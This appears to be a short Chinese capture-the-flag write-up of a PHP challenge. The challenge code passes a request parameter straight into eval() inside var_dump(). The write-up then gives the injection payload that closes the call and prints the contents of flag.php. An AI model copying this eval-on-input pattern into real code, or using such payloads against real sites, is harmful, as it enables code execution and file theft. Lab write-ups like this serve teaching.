<?php 

  include "flag.php"; 

    $a = @$_REQUEST['hello'];//a从get、post获取hello值。

    eval( "var_dump($a);"); //var_dump()打印显示,eval()闭合这个程序

    show_source(__FILE__); //该段不解析作为一个字符串原样输出

?>

 

现在我们要使flag.php执行并通过show_source(__FILE__);显示

 

针对var_dump()进行操作 首先将他闭合

hello=);

然后我们要执行flag.php 用print_r()打印字符串本身 file()读取文件内容

hello=);print_r(file("./flag.php")

 

 

ctf、本地包含、例1

相关文章:

  • 2022-12-23
  • 2021-12-14
  • 2021-08-01
  • 2021-12-30
  • 2021-12-15
  • 2021-04-18
  • 2021-12-15
猜你喜欢
  • 2021-07-09
  • 2022-12-23
  • 2021-10-11
  • 2021-11-23
  • 2022-12-23
  • 2021-04-11
  • 2022-02-09
相关资源
相似解决方案